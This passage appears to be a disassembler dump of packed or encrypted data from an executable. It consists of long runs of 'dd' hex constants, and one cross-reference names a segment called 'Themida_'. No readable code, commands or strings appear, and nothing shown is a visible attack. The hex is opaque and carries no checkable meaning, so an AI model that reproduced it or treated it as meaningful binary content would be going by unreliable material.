77CEC1FCh dd 0A03388D3h, 0A3547561h, 1EB78DBCh, 553E5D1h, 0A009C9E3h dd 0DDCEEC61h, 1134FCB6h, 763A1566h, 0EC2855B6h, 0DA4A90EFh dd 0D7CE128Dh, 6C1E38E3h, 2CCA5261h, 98F32C62h, 8C87EA93h dd 7135F167h, 7FEE90EBh, 0DDCB1282h, 94BBECB6h, 8FD9ED1Ah dd 44399469h, 24DB1566h, 65321566h, 8C34EBEh, 998F967Ah dd 2235F148h, 11A59069h, 2521566h, 93851A8Dh, 0FB7D307h dd 5635F14Ah, 46E29506h, 2552749Fh, 501F720Eh, 0F9527586h dd 88321560h, 0E70D4A11h, 0D76C2ABCh, 0E2B87507h, 0E9537406h dd 4422FC06h, 6ADE1566h, 2F116CCCh, 0FE7914F5h, 16370B08h dd 0DD53C7F0h, 0F53388D3h, 0DBFED61h, 43D62EBAh, 223E9469h dd 77521566h, 0F7BE3E7h, 8AD53ADDh, 0F2CD745Bh, 11321F8Fh dd 0B9E5F566h, 8FC08354h, 0ABE8A238h, 0FACA95E3h, 99DB7561h dd 0EF321566h, 3DCAE652h, 0CE5ECFF8h, 0BD0EB78Eh, 5B0C62ACh dd 0FB7D307h, 5635F14Ah, 88349A69h, 17521566h, 4353753Ch dd 0A2837D9Eh, 0EE529B4Fh, 0FD4BF7E7h, 2234FC06h, 3A4A1566h dd 0CEC45004h, 0F1CD7407h, 25D614FBh, 77EA9E06h, 1A4EFEE7h dd 98B79807h, 2D35F15Dh, 113206E4h, 883CFC66h, 69661566h dd 4AB2A879h, 82370CCCh, 0CF5C04F0h, 0CB3DC599h, 22321574h dd 1132188Fh, 0AF8F1166h, 82CEDE0Eh, 38CA5D9Ch, 9052C5D6h dd 47EDD7A7h, 4439FD57h, 0AD0F1566h, 605A9856h, 8059A243h dd 4438FD2Eh, 0DE1566h, 0C763926Fh, 77C15C19h, 0CD534A3Eh dd 0C9CA91E3h, 94F4E061h, 8FD6394Bh, 0E35AE025h, 0DEF2632Ch dd 10AFA099h, 0F3D1282h, 44321567h, 0FEB79893h, 1E35F15Dh dd 883214E8h, 94CDE066h, 20BF1A06h, 9A321566h, 8837FDB1h dd 0BD571566h, 0CA2B7D03h, 11321569h, 0A202438Fh, 7E37E3C4h dd 6753CB29h, 4B09F015h, 1CE7439h, 0AFCA9DE3h, 2234FC61h dd 85DA1566h, 4BDA2383h, 4432078Fh, 0A57D4C66h, 0C89141A1h dd 5065FAD1h, 0B9366D02h, 0E4515426h, 0F51E38E3h, 80DB5961h dd 0FD321566h, 647CB734h, 790EDDC3h, 7354798Dh, 0A587EA9Eh dd 2D35F17Bh, 113214E3h, 0DBFEC66h, 43D62EBAh, 2237FC06h dd 5DF21566h, 0EED8730Fh, 810AC3E7h, 28BC1A07h, 71321566h dd 7EB37406h, 6FE32524h, 0CBE2EA07h, 1132156Dh, 0A15765C0h dd 0DEBE5733h, 0AB3DCCEDh, 0FACB09E3h, 8838FC61h, 100A1566h dd 0D1B45A34h, 8A1E2BD4h, 0A41F90A0h, 0B1761282h, 51BC400Eh dd 10BD1ADDh, 71321566h, 45AFA099h, 2D521282h, 9C53D5D1h dd 6C09C9E3h, 51B81A61h, 42321566h, 11329C69h, 8FDA1566h dd 8E321566h, 0F3D4F538h, 706CBFB7h, 87DBC599h, 0DC321566h dd 3C65A0FFh, 6ED77A2Ah, 0F29405E8h, 0C1BBC61Fh, 25D9EDEAh dd 113DFD06h, 4FDA1566h, 0DE658449h, 3E192702h, 60E0553Eh dd 528D1AE9h, 45B21A3Eh, 0DE321566h, 1DBA1A07h, 87321566h dd 443213E4h, 22B61A66h, 0D7321566h, 6C1E38E3h, 56DB5661h dd 0CF321566h, 24962FBEh, 940012C4h, 0DEDBB3F7h, 8CAEDA0h dd 7FCE7D5Ch, 77CEA9E8h, 0A03388D3h, 223CFC61h, 714B1566h dd 0ADE9387Eh, 9C661B7Fh, 0E2A93FDDh, 2AEE90EBh, 70CB1282h dd 0CDC7C599h, 0C9CA85E3h, 0EB51A61h, 87321566h, 44320CEDh dd 2226FC66h, 40561566h, 9C2F8473h, 623A3C68h, 4528CC5Ah dd 329BBD72h, 0DF4B408h, 43D6394Bh, 0CB52E935h, 1132156Eh dd 0CB816134h, 0B1B9C3E3h, 4A53DEEDh, 0D7222BCCh, 0D0CB4706h dd 0D987EA07h, 0CB35F167h, 1132156Bh, 66F9774Fh, 1C34E5A9h dd 958FF9Ch, 0CDB79892h, 0E835F15Dh, 44321C8Fh, 0D2369866h dd 2EC31543h, 87DBAC63h, 48321566h, 91742176h, 8DAE9F3h dd 0E105CF0Dh, 0BB539C89h, 34B31AB6h, 0F8321566h, 88321577h dd 7DF89A31h, 9E7C4D0Ch, 25359176h, 2B09FB59h, 0C1BBEC50h dd 25D9EDF2h, 42E99406h dd 37957E1h, 0F9B1749Fh, 25D6383Bh, 0B61A66h, 87321562h dd 44321FEDh, 2237FC66h, 82BC1566h, 61927F37h, 44321572h dd 0C226AAFAh, 0AF80665Ah, 4C956705h, 32D33A71h, 50F7C952h dd 3D1F90A0h, 61741282h, 44321577h, 0C64FA36h, 48A8DF40h dd 0F442B248h, 39031DACh, 0EC037D3Fh, 3DBEFF0h, 34321566h dd 0E704BB9Fh, 0B9AA4965h, 231BD78h, 0D5E99040h, 0D987EA39h dd 0DA35F167h, 2AEE90EBh, 0B3D1282h, 44321575h, 22321B8Fh dd 8100C666h, 0CB5C40CBh, 0E57A670h, 42D7C52Fh, 7094F3E6h dd 0EE52C599h, 4BDBCCEDh, 16321566h, 802AE1C6h, 0C8ED81ECh dd 0AC6D1F35h, 2D537844h, 113219E3h, 858C7566h, 0FF7D0316h dd 44CAB1A8h, 0E1B79C07h, 6135FE9Eh, 44321568h, 90737464h dd 27495ED2h, 1D992E50h, 0C1F4AD62h, 25D6394Bh, 1126FC20h dd 0EB381566h, 0F3B1B8B8h, 0DEBD2C8Fh, 0CF5234Ch, 0BCD970DCh dd 925A96D5h, 42CEB25Ch, 11349869h, 63D1566h, 44321566h dd 22329869h, 0F8531566h, 8832156Dh, 96E1FC27h, 29D83074h dd 0EE362F5Eh, 6C3388D3h, 0C1BFED61h, 25D62EBAh, 113E9E69h dd 0C3D1566h, 44321560h, 22329A69h, 0C1CD1566h, 88359969h dd 0CF3D1566h, 22321567h, 11B79C9Eh, 0E835FE9Fh, 0B0C09400h dd 0A5B0AC00h, 0D7532019h, 6C1E38E3h, 50DB5361h, 0CF321566h dd 0C3F7374h, 0AE58B21Eh, 0EEA18CE8h, 0C3AB49F4h, 1EDFE7DEh dd 883211E9h, 1F617566h, 86327D07h, 9D3D879Ah, 88321567h dd 0D987EA9Eh, 4235F167h, 7029C4E6h, 0B3EE90EBh, 0CD3D1282h dd 2232156Dh, 11B31A06h, 0EE321566h, 0BB53D4EDh, 223BFCB6h dd 0E60E1566h, 6A37FB87h, 0CD628478h, 0C9CB11E3h, 0AE547561h dd 4E53548Bh, 0A01E38E3h, 0A03D5361h, 1132156Fh, 53851A06h dd 0E1CAAD00h, 33B01A07h, 0F8321566h, 8832156Ah, 864BBE59h dd 0F2026970h, 0DB9C1044h, 5C7D7F0Eh, 443EFC90h, 0D1FD1566h dd 14D206C3h, 0FFF29482h, 0BBC7BA52h, 0C63388D3h, 113FFC61h dd 0AF681566h, 0ADCC26A9h, 87044D24h, 1E0F115Eh, 883219E0h dd 42B01A66h, 2D321566h, 113215E9h, 54B79866h, 4B35F15Dh dd 223204EEh, 1ABB1A66h, 61321566h, 44321560h, 8902C8DDh dd 0C1CD214Eh, 88339169h, 0CDCB1566h, 0C9CB1DE3h, 1122FC61h dd 9C621566h, 0B4527475h, 87671F67h, 4779B4A3h, 0DF42054h dd 43D6394Bh, 3AB91A20h, 0F8321566h, 88321575h, 59938ACCh dd 87324C82h, 71DF4064h, 9CAB1C2Ah, 2CAE000Ch, 0B6FF4581h dd 11389F69h, 8DDB1566h, 3C321566h, 0A2B45F66h, 10AFA099h dd 53D1282h, 44321561h, 0F06FAD06h, 9C532040h, 6C09C9E3h dd 4434FC61h, 0B7A1566h, 0B4BAD014h, 0EEEA9E06h, 0BCDCF7E7h dd 42E2EA07h, 11321B8Eh, 0B8D15B66h, 38EFDA97h, 76A00747h dd 91E8482Ah, 96826ADh, 0DC2A5EB9h, 0A7BB747Ah, 16D9ED92h dd 0A5B7D393h, 235F14Ah, 223C9C69h, 18DB1566h, 0CF321566h dd 84D6ABABh, 807C93D6h, 11339669h, 0E0C71566h, 0F510615Dh dd 2232128Fh, 0BD053266h, 0E79E6CCBh, 45AFA099h, 0A03D1282h dd 11321571h, 8832078Fh, 34885366h, 1513CECFh, 6DF25590h dd 21B655Ch, 0BD299C7Ah, 19EE90EBh, 1BDB1282h, 2C321566h dd 63034788h, 7BC3A74Ah, 71E2EA2Dh, 0DBE3A269h, 256DDAD4h dd 0DACA90EFh, 18DB128Dh, 7E321566h, 89D3E1E1h, 0E2993DCEh dd 3D1F90A0h, 61741282h, 44321575h, 24559E0h, 52EAD969h dd 8016D5BEh, 0EBBF943Dh, 4A401E32h, 0CE4BFF8Bh, 88339D69h dd 0BBC71566h, 0C63388D3h, 10B41A61h, 7D321566h, 7FEE90EBh dd 36DB1282h, 9A321566h, 6484553Ah, 0DF601D63h, 0C5C2C3CEh dd 0ECE471Dh, 0E8F5A7D4h, 8A851A9Ah, 2DE2EA07h, 113219E5h dd 1A897566h, 2258C394h, 1726F4E7h, 0EDB79C07h, 7D35FE9Eh dd 6AEFA8E5h, 2D321282h, 113275E3h, 0DB647566h, 4BDB4B3Eh dd 45321566h, 9DE048B2h, 0C62E14ECh, 0BB6BD8FEh, 0E4530FC5h dd 0F51E38E3h, 0E0CB4661h, 8A8CF538h, 22339469h, 0EECA1566h dd 6C3388D3h, 4FB61A61h, 0CB321566h, 11321560h, 8108D22Bh dd 0C1BF59E9h, 25D62EBAh, 1132138Fh, 0BC727F66h, 0BB4B0C50h dd 0A7BBEDB6h, 16D9EDFEh, 0A5B7D39Ah, 335F14Ah, 7CB57D9Eh dd 0EECBD2D7h, 6C3388D3h, 443FFC61h, 0F1E31566h, 70A59ABCh dd 32D2775Ah, 0C98F3D2Ch, 0C609C9E3h, 943DE961h, 88321567h dd 4BE2EA9Eh, 223214EFh, 9D3DE966h, 88321567h, 0D8B79C9Ah dd 2D35FE9Eh, 113214ECh, 35B1EC66h, 43D63BBBh, 51B71A66h dd 0E8321566h, 0E9C59E06h, 681F90A0h, 0CB751282h, 1132156Fh dd 0DFFCA161h, 0AE0FF6D7h, 5C377D95h, 7152F304h, 7BB97406h dd 0FC544607h, 436914FEh, 10AFA099h, 9ADB1282h, 91321566h dd 65412A49h, 0DA61BA64h, 513E1C5Fh, 0BEAD086Ch, 223FFCA1h dd 94DF1566h, 0AB43AB36h, 47091B50h, 0AF8C6892h, 0F509C9E3h dd 3F3D7561h, 25EB9F9Eh, 0ABCAC599h, 0FACAB5E3h, 0DF4E961h dd 43D6394Bh, 2ADBE025h, 4D321566h, 438F953Eh, 2CA0F495h dd 0B0481C90h, 11229F69h, 83DB1566h, 64321566h, 2A585C12h dd 0D97E6437h, 3DCD9ABBh, 43D614FBh, 22339F69h, 9CCA1566h dd 6C09C9E3h, 94CDE061h, 86B79C9Eh, 7135FE9Eh, 914AAB00h dd 69B7D307h, 6135F14Ah, 11339D69h, 0E0CB1566h, 0B8138246h dd 22349869h, 46521566h, 0E9E19E3Fh, 442B9A69h, 36DB1566h dd 0B9321566h, 894959ACh, 0ED928A05h, 17D51F0Dh, 6AAC1B65h dd 77F6C6FDh, 0A03388D3h, 0CA52ED61h, 11321575h, 0BFB6D59Eh dd 43A52005h, 9B99EAF7h, 0BF34CB3Ch, 0D2831F23h, 98B79807h dd 0CB35F15Dh, 1132156Bh, 27819548h, 3675B6BCh, 0B9AB1305h dd 0F8E2EA0Fh, 88321575h, 0C37D4CDBh, 0FB9141A1h, 0C965FAD1h dd 75366D02h, 0CD515426h, 0C9CABDE3h, 0ACB1E061h, 8FD63BBBh dd 6CB71A66h, 0CB321567h, 11321575h, 25180851h, 0CE371331h dd 38B2EAE6h, 9836510Eh, 4EC253D5h, 0A01E38E3h, 25DB5661h dd 2B321566h, 0BA48FC20h, 475A90B7h, 2DB915CEh, 113214EBh dd 3DCDE066h, 43D614FBh, 22229469h, 1ADB1566h, 0E321566h dd 0DF66EAD2h, 44131D3Ch, 94BF6C34h, 8FD62EBAh, 4BE2EA9Eh dd 22321BEEh, 113BFC66h, 0CAB51566h, 2055BFB0h, 0AB39A34Fh dd 0FACAA5E3h, 8821FC61h, 0ADC91566h, 0B465E8A3h, 0B2FD82ABh dd 8DD16C8Ch, 0DC608A23h, 223EFCA7h, 7BBD1566h, 327D43B8h dd 39694159h, 0A7F426ADh, 16D6394Bh, 38CE7525h, 915A74C1h dd 2DD74E50h, 113200E9h, 8822FC66h, 1F821566h, 0E3C1BE0Fh dd 7A3480FBh, 8E236B6Fh, 0F1CD42C9h, 25D614FBh, 34F69506h dd 88B91A35h, 1F321566h, 0A7BFED07h, 16D62EBAh, 81DAEC06h dd 0B6321566h, 88BEE777h, 0EC1EDD53h, 88329769h, 256A1566h dd 2D52C599h, 113214E7h, 153E966h, 0AFCAB9E3h, 36B61A61h dd 0F8321566h db 69h, 15h, 32h byte_60351B db 88h ; DATA XREF: Themida_:005851C0o dd 3D176E96h, 0EF5E0512h, 4EE91A63h, 4EA8C9D5h, 0A01E38E3h dd 4ACB5661h, 0FB982787h, 88321A8Fh, 8229AB66h, 40DC6139h dd 7D55378Ch, 0ACA097BCh, 0D987EA9Ah, 0CB35F167h, 11321577h dd 0B91D729Dh, 31958C9Ch, 7E6B0D4Ah, 0CBB8A2E8h, 54B79856h dd 4B35F15Dh, 223210E7h, 0A63D7566h, 58CD74ADh, 4432138Fh dd 0F3093166h, 0F8C67B8Ah, 88321569h, 0B9B6C3B2h, 6F5F06A6h dd 5C95344Dh, 1A6C20Bh, 0AFCAA1E3h, 3FBA1A61h, 1E321566h dd 883202E2h, 4420FC66h, 0A3721566h, 940F6162h, 0D213A106h dd 88F1F890h, 0D59EB44Ah, 3D1F90A0h, 70711282h, 0B59E220Eh dd 223AFCE2h, 81B91566h, 7D7021CAh, 0F1CD204Ch, 25D614FBh dd 0CDB7989Ah, 7135F15Dh, 0CA3DC599h, 22321567h, 0A9B79C9Ah dd 7035FE9Eh, 681F90A0h, 0DB7D1282h, 24A2C10Eh, 3DCDECF1h dd 43D614FBh, 2232068Fh, 78B74966h, 3F44F74Bh, 6C48AA64h dd 0B52E2D2Bh, 95AB8C02h, 0B3EE90EBh, 4EDB1282h, 6D321566h dd 86002DB5h, 5534CA4Ch, 54B61ACBh, 0CB321566h, 1132156Dh dd 0B4E98B08h, 3FEB9A5Ah, 0DDE5853Ah, 113EFCB6h, 6D341566h dd 4467E276h, 0B5F43627h, 94BBD7F8h, 8FD9EDDAh, 69B7D39Fh dd 6D35F14Ah, 1132048Fh, 0D6F47D66h, 0F6701E62h, 6BD08BD1h dd 36DE4D5Eh, 8A5A80C7h, 4BCB7B68h, 22321DE3h, 13B51A66h dd 0E8321566h, 0D987EA07h, 4235F167h, 9A54D2EDh, 0DBF74BFh dd 43D62EBAh, 0DBFD9E06h, 0F8E2EA07h, 88321568h, 0AC08D10Ah dd 1EAAF251h, 31ADF62Dh, 0DBBEF01h, 43D9EDA6h, 0FB7D39Ah dd 5C35F14Ah, 0F17B7D9Fh, 24CBDD51h, 43CDA269h, 10AFA099h dd 9BDB1282h, 0D6321566h, 50C072CEh, 0A6B48E06h, 332BCD74h dd 21C6FEC3h, 0A7BF40C3h, 16D62EBAh, 88229469h, 4FDB1566h dd 0C1321566h, 8B920FAEh, 0E13024A1h, 94CD5EEAh, 0EAB79C9Eh dd 7135FE9Eh, 88321F8Fh, 61DA0D66h, 32DC676Eh, 0A4369220h dd 0DF474B8h, 43D6394Bh, 0CCB8752Bh, 11321B8Fh, 0E9388066h dd 0C6C0425Fh, 20E961DCh, 70773A1Dh, 7F7F9C0Eh, 4437FCBAh dd 86F91566h, 0EE5F7AC2h, 6C3388D3h, 0C9CAEC61h, 0C609C9E3h dd 1138FC61h, 19D11566h, 44610345h, 75FE09B9h, 0F952C599h dd 88321574h, 7D68C72Dh, 0EFC898BCh, 2A57DFD5h, 7AE55ED6h dd 4B6CF964h, 223213EFh, 11B41A66h, 0E9321566h, 0BCF690EFh dd 36DB128Dh, 0D2321566h, 7ABFD780h, 4A61036h, 4B9774D8h dd 0E14E436Bh, 4E6D564Bh, 0A01E38E3h, 42524061h, 1132068Fh dd 0CFCB0266h, 308A569Eh, 12348DA7h, 0DBBE879Ch, 60EFB65Eh dd 30ACFFE7h, 0DB536606h, 3C057D07h, 8752897Dh, 443214E1h dd 0A954E066h, 0A4CD749Fh, 8FD614FBh, 44359469h, 0AF3D1566h dd 11321567h, 54B7989Ah, 2435F15Dh, 0A350D1E6h, 851D0AEh dd 58CD7418h, 44321A8Fh, 0A2ABC866h, 66E5E352h, 55721C23h dd 0C243BE11h, 0DAFE90EFh, 983D128Dh, 8832156Ah, 44349E69h dd 0A43D1566h, 11321566h, 0A41F90A0h, 0AD711282h, 22321574h dd 0A201E7C8h, 1627E936h, 0D21A9816h, 0D5CD186Eh, 3B5A2A4Ch dd 7DE0C096h, 45AFA099h, 0AFCB1282h, 0F509C9E3h, 883DFC61h dd 0BBDF1566h, 5B4F04F1h, 0C771BB3Ah, 0D0833F8Fh, 94CDE059h dd 22359769h, 933D1566h, 88321567h, 94B79C9Ah, 0DA35FE9Eh dd 3D1F90A0h, 7D601282h, 4432018Fh, 51BAC666h, 8B29A7D8h dd 3963DD46h, 35688F33h, 627E9CE1h, 0A5D87DA0h, 80DBE824h dd 0F7321566h, 8DF9BCA6h, 0EEE01264h, 6C3388D3h, 4439FC61h dd 1A5B1566h, 0B361AD1Eh, 0F4BA2323h, 98B79844h, 0CB35F15Dh dd 1132156Fh, 8F67E976h, 0B043FCD9h, 0CBE2EADDh, 1132156Dh dd 0B4A59146h, 0B6E2F53Eh, 0AB9AE7D3h, 0F5139CE3h, 40B97561h dd 4435FC06h, 50921566h, 0AA6F8A50h, 5357AADFh, 2553271Fh dd 0E1F90A0h, 71751282h, 0A2968CDEh, 4AB01A6Bh, 0CA321566h dd 1132156Eh, 8C072B8Bh, 498D5EBEh, 0BB5A743Fh, 0F8D08D3Fh dd 8832156Dh, 0CFFE250Eh, 334DFB5Dh, 7114C473h, 7EB37306h dd 50DA4453h, 75321566h, 0B9EA0E0Eh, 0B36F0A6Bh, 0F6EEDEEEh dd 0B9760827h, 4E87470Ch, 8CB61A07h, 22321566h, 4371D3D8h dd 10AFA099h, 93D1282h, 4432157Fh, 22219869h, 1FDB1566h dd 91321566h, 8EBC4CDCh, 5AC73D14h, 3EA64FA9h, 54B79862h dd 0AD35F15Dh, 22321569h, 895EF8CFh, 1E66D9ADh, 109311FAh dd 0DDF505B3h, 113DFCB6h, 0A66A1566h, 69E14756h, 8F411852h dd 0EC352660h, 5CB79C77h, 4B35FE9Eh, 22320BEEh, 0DB7566h dd 2F321566h, 7DA70BD8h, 0A41F5085h, 0B84ABA87h, 95A1EFF5h dd 44329469h, 0E4531566h, 0F51E38E3h, 86DB5261h, 26321566h dd 7CED67CDh, 0E3FD1585h, 0EF2BF94Ch, 57B51A0Bh, 0CB321566h dd 11321568h, 0D173C3EDh, 501B979Dh, 859883DCh, 0D35ADCEAh dd 7483E806h, 45AFA099h, 2DDB1282h, 60321566h, 167DEF31h dd 2D9C77ACh, 0A7C80066h, 94BFDC01h, 8FD62EBAh, 4432078Fh dd 7A202266h, 56323E00h, 0E6EC276Fh, 2DA04C90h, 0DDC43F5Ah dd 19BC1AB6h, 87321566h, 443217E4h, 0AB537566h, 0FACACDE3h dd 80B51A61h, 4B321566h, 223217E4h, 0D7537566h, 6C1E38E3h dd 2CCB5261h, 0FD94EB72h, 1132018Fh, 0CC215C66h, 7951AA27h dd 0E4D7B10Ch, 29491097h, 2855236Ch, 4423FC07h, 7BA61566h dd 0F03800B6h, 0DE2EBC6Dh, 75C6C2ABh, 0DD4DA0D7h, 0F53388D3h dd 8822FC61h, 1F0C1566h, 9FD73049h, 0BC8F4F78h, 19EB7046h dd 4ADB70BFh, 0E321566h, 124D45CAh, 61E07DFEh, 7822F168h dd 0FEB79865h, 0E935F15Dh, 73D7506h, 44321566h, 0F62CAF00h dd 1126FC07h, 714A1566h, 0AF003194h, 0F64984ADh, 0FD0845E7h dd 5CB26C6Fh, 0BB53D812h, 2226FCB6h, 1CCC1566h, 0E54158C3h dd 0ECE445CBh, 7B5642EDh, 0CC0AE1E6h, 0EE527AD9h, 0E1ABCCE7h dd 2232188Eh, 0F97E66h, 0C955982Fh, 735FB89Eh, 43527BB4h dd 94BB7438h, 8FD9EDBAh, 44B21A06h, 43321566h, 3D1F90A0h dd 876D1282h, 443214E1h, 4A5AE066h, 1EAC4594h, 88321AE3h dd 42DB7566h, 0E6321566h, 0C25B66EFh, 0E9537534h, 45AFA099h dd 0AD3D1282h, 11321567h, 54B7989Fh, 0BC35F15Dh, 4452C599h dd 0AE3F69DEh, 0E8488D7Ch, 0A4B79C07h, 0CB35FE9Eh, 11321577h dd 474307E0h, 6D233E3Bh, 1858863Fh, 1852C538h, 0A5B7D333h dd 0B35F14Ah, 22321F8Fh, 4F36D666h, 0D194D41Ch, 0ADD2CE04h dd 22321577h, 5BC58A36h, 0DD7ED985h, 3CD032F1h, 0E7CFC684h dd 6A0D7DEFh, 63DD29Ah, 4432156Ch, 0A3CAA306h, 4FDB3196h dd 3DCD7476h, 43D614FBh, 223CFC93h, 572E1566h, 91990A8Dh dd 955C4642h, 49080C4Fh, 2AEE90EBh, 36521282h, 65AAE612h dd 7D537530h, 8B11A07h, 61321566h, 44321572h, 0DD396AEEh dd 5400B03h, 69CCEE13h, 0EE4312D1h, 0F0F560DEh, 963DC599h dd 88321571h, 4432078Fh, 0AACA6366h, 0D1234598h, 0F669E81h dd 6E5CDFD4h, 0AB5FF836h, 0FACB19E3h, 0EE52E961h, 253B67DEh dd 0E1F90A0h, 71751282h, 88349969h, 0CF3D1566h, 22321566h dd 11321F8Fh, 3EC7B366h, 670C26E9h, 4385C0B3h, 0A3C99E06h dd 0C45A747Ch, 0BCC84E08h, 23AFA099h, 9CC71282h, 6C09C9E3h dd 4422FC61h, 85FD1566h, 0E7E0BAFDh, 8CB9393h, 5DAA2F32h dd 0F2CD579Dh, 11349869h, 3521566h, 25EB9EA9h, 0DB2290EFh dd 9F3D128Dh, 8832156Eh dd 44309F69h, 43521566h, 3D1F90A0h, 0E8751282h, 0FC288EDFh dd 3AC6952Ah, 35FF7D07h, 77C7D660h, 0A03388D3h, 0DECB7561h dd 0CDB79807h, 6135F15Dh, 4432156Dh, 0C6B3354Fh, 67D1C1EBh dd 777EA490h, 48B01AB6h, 42321566h, 0D4BDAE00h, 88329169h dd 0CD531566h, 0C9CB01E3h, 10B91A61h, 70321566h, 681F90A0h dd 426D1282h, 58887306h, 498D1A81h, 4435FD07h, 0D4021566h dd 0DF828DDDh, 883CFDFDh, 66651566h, 4A7A834h, 9B651481h dd 6A7401Ch, 2C534B39h, 0F68975AAh, 113B9569h, 2521566h dd 0E887ACA7h, 0DD536269h, 0F53388D3h, 0DBFED61h, 43D62EBAh dd 0D7E2EA9Eh, 0E9D690EFh, 4ECE128Dh, 0A01E38E3h, 0AD3D4A61h dd 1132157Dh, 3CFD9506h, 4432058Eh, 18525E66h, 9A485DFAh dd 45C6069Fh, 3220C81Bh, 4A534B01h, 8FDB4128h, 63FA9406h dd 0F7383A57h, 97CD74DBh, 16D614FBh, 88389269h, 24521566h dd 0B1C39407h, 7030DFF8h, 88219D69h, 4ADB1566h, 32321566h dd 0D3F3EBBDh, 0B922DA68h, 0D708E473h, 0FEB7983Bh, 0F835F15Dh dd 88321560h, 87AB0BFCh, 0F2CD55BEh, 0D2B84406h, 1CA7439h dd 0AFCAFDE3h, 2223FC61h, 0E6A21566h, 990644B3h, 0E62C001Ah dd 0E0F8EBC4h, 0D76F726Fh, 6C1E38E3h, 24524A61h, 22321D8Fh dd 223EEE66h, 136B3443h, 0BEB9734Fh, 43E49E07h, 21A5D0Eh dd 8820FCB7h, 3CDF1566h, 20D39671h, 6387675Fh, 0A1DF419Fh dd 0E14A2E0Bh, 2222FC06h, 1D261566h, 86A5239Ch, 0B77ACEECh dd 0C1C3E9AAh, 0EE53409Bh, 6C3388D3h, 443AFC61h, 0C3231566h dd 93DE5026h, 0DBF8182h, 43D62EBAh, 223BFC06h, 0DDC71566h dd 0D0B195B8h, 22ADB437h, 437EF5D9h, 0F852C599h, 8832156Fh dd 464001C7h, 0F745F20Ah, 18DB46B7h, 37321566h, 74C9226Ah dd 53D0E3BFh, 94BB743Ch, 8FD9ED8Ah, 4B367F9Ah, 223201E2h dd 113DFC66h, 0B8381566h, 0CB3C9758h, 0C5CE6F1Dh, 1747B461h dd 98327D2Dh, 2CCA1566h, 22320566h, 11269269h, 83D1566h dd 44321568h, 22321C8Fh, 0AE8B2366h, 0C653E4Dh, 44586C4Ah dd 53A7EA9Ah, 1E35F17Fh, 883200E0h, 4422FC66h, 0D13E1566h dd 7080A936h, 6A344FB7h, 0C9FDB407h, 0A7BBED7Bh, 16D61B5Fh dd 8832078Fh, 1D026E66h, 0F7EFABE2h, 0C991D089h, 0FB917346h dd 24849F8Dh, 22321D8Fh, 0BA864766h, 641CD7Ah, 0C953E99Ah dd 0C9955FE3h, 113EFC61h, 79371566h, 3288E1ECh, 27FD3C19h dd 0EECA47EFh, 4A8375B6h, 4432058Fh, 6DFB2566h, 85C23811h dd 0A6CA792Bh, 24A1376h, 0AD3D74D9h, 11321567h, 74367F9Ah dd 4422150Eh, 0D0B27566h, 3857AE97h, 715308CFh, 4412150Eh dd 0A13D7566h, 11321562h, 0D2FDAD00h, 0BD327F07h, 3B438099h dd 0F9521282h, 88321572h, 0A2B8AE9Eh, 0F886161Dh, 0A243BB5Ch dd 321301A8h, 49269F77h, 0A86C4A37h, 94BB74A5h, 8FD60E8Fh dd 4432078Fh, 87E1FF66h, 5BE437D5h, 963E6DFAh, 0ACD6737Dh dd 0AB5F4857h, 0F50118E3h, 0C858EC61h, 0A9897306h, 0E2A3AB7Fh dd 79534190h, 88320566h, 4438FC06h, 55CF1566h, 5F32492Dh dd 0A7339A12h, 99DD9400h, 225A742Dh, 1E321466h, 883214E4h dd 4458E966h, 0C38C4606h, 4E35612Ch, 2BBD9DD8h, 2252742Bh dd 1DAED4E7h, 52887306h, 42B3732Bh, 25539391h, 3B438099h dd 16DB1282h, 0E6321566h, 21C2D114h, 0A7BB73CFh, 16D60E3Bh dd 6DFD9406h, 4B76C652h, 223215EFh, 0A4B97466h, 8FD61A2Fh dd 0DDAF9E93h, 4235F172h, 96F9AFD8h, 0F5D0AD47h, 2453782Ch dd 0CCEC9400h, 0CAB37378h, 153CF6Dh, 0A02AFCD3h, 223FFC61h dd 0E2E31566h, 45942861h, 1662BCC1h, 0ABA40655h, 0F51F5CFBh dd 89BA1A61h, 0BD321566h, 2232018Fh, 0FF851766h, 70AC65h dd 156D9CAEh, 7EDC1378h, 0C7D91AF3h, 11AF9E07h, 0AD35F172h dd 2232156Fh, 0B302CB1Ah, 71F50792h, 0CF01EA71h, 0E6B3316Ah dd 11321562h, 88321B8Fh, 0CD37DA66h, 0A0BF4734h, 0FE8D489Dh dd 0BB73069h, 0C03D159Fh, 22322C82h, 11339169h, 0DDCB1566h dd 81B3F0EFh, 22321562h, 9636F8E5h, 16E314Ah, 4EDB3162h dd 0DC321566h, 2D8BE02Dh, 0AA2D797Ch, 4434FC6Ch, 8B971566h dd 0ABE124C0h, 8DD29C36h, 44321562h, 0A536FDE5h, 986E3162h dd 0E8CB316Ah, 7553E906h, 223AFCA6h, 0D1AD1566h, 8C4E7F83h dd 0C1BBF5E7h, 25D607B7h, 113A9B69h, 33D1566h, 44321564h dd 1E5A7406h, 9A321566h, 4CB33152h, 44321562h, 20BA1A06h dd 71321566h, 4EB37407h, 205969BAh, 7582FBE7h, 65314163h dd 4EB33542h, 103742D6h, 5EEEFBE7h, 77CB710Dh, 0E937E9CBh dd 47158949h, 75123122h, 8D1D74D9h, 0D7CA3C41h, 44321B8Fh dd 0BE6FD366h, 7AF57193h, 0C1420F5Eh, 0BB5DDDD8h, 16B36D16h dd 4B378642h, 31634B46h, 39EB313Ch, 0A37B542Fh, 6E2CD38Fh dd 0D1FC243Bh, 17EB9E06h, 42534B9Eh, 0B5A1AB35h, 0E96D2341h dd 2D84D3E7h, 0CCB37EBAh, 335374F5h, 0A8166165h, 25A1D3E7h dd 0CCB33707h, 7AEE7CD0h, 8835FD06h, 3AF21566h, 72A8BEECh dd 37F1945Bh, 0D77DB976h, 0BB5375D7h, 26B30D10h, 9D2EA442h dd 0AC0E9E42h, 4436D1E7h, 0CDB31566h, 35BE09D7h, 88359969h dd 0C03D1566h, 22321567h, 9A547593h, 35BB74A0h, 43D61153h dd 0DAB97306h, 1ECD9007h, 88327CE3h, 4422FC66h, 0BD6F1566h dd 687AA45Ch, 0A64FF117h, 1F8992A5h, 3FDA93ECh, 71321506h dd 83DBDCD4h, 0A3321566h, 20F32B87h, 0FA15133Fh, 61533A88h dd 44321574h, 1E3B9C6Ch, 750C2F2Ch, 0ACB0B9F0h, 7BCD9024h dd 3FDBCD65h, 1E321563h, 88320CEEh, 4426FC66h, 4BF81566h dd 0E8D5DBE2h, 3423E191h, 2C56DD9Bh, 90302598h, 665A2311h dd 1321537h, 13CE316Ah, 0A11601EDh, 0A85211A2h, 0BA1797A7h dd 4432128Fh, 934B1D66h, 29BEDABh, 8CE07E07h, 